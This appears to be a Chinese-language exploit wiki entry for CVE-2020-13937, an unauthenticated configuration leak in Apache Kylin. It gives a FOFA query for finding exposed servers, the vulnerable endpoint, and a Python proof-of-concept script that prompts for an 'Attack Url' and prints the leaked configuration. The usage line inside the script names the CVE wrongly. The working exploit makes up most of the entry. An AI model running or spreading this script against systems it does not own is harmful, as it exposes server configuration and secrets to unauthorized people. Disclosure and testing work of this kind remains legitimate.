Apache Kylin的未授权配置泄露 CVE-2020-13937
漏洞描述
Apache Kylin有一个restful api会在没有任何认证的情况下暴露配置信息。
FOFA
[!NOTE]
app="APACHE-kylin"
漏洞影响
[!NOTE]
Apahche Kylin 2.x.x
Apahche Kylin <= 3.1.0
Apahche Kylin 4.0.0-alpha
漏洞复现
根据漏洞情报
漏洞利用POC为 http://xxx.xxx.xxx.xxx/kylin/api/admin/config
漏洞检测POC
import requests
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: Apache Kylin 2.x.x <= 3.1.0 Kylin 4.0.0-alpha \033[0m')
print('+ \033[36m使用格式: python3 cve-2019-13937.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx:9999 \033[0m')
print('+------------------------------------------')
def POC_1(target_url):
vuln_url = target_url + "/kylin/api/admin/config"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"
}
try:
response = requests.get(url=vuln_url, headers=headers, timeout=20)
if "config" in response.text:
print("\033[32m[o] 存在Apache Kylin的未授权配置泄露\n[o] 响应为:\n\033[0m",response.text)
else:
print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
except:
print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url)
Goby && POC
[!NOTE]
已上传 https://github.com/PeiQi0/PeiQi-WIKI-POC Goby & POC 目录中
Apache_Kylin_Unauthorized_configuration_disclosure.json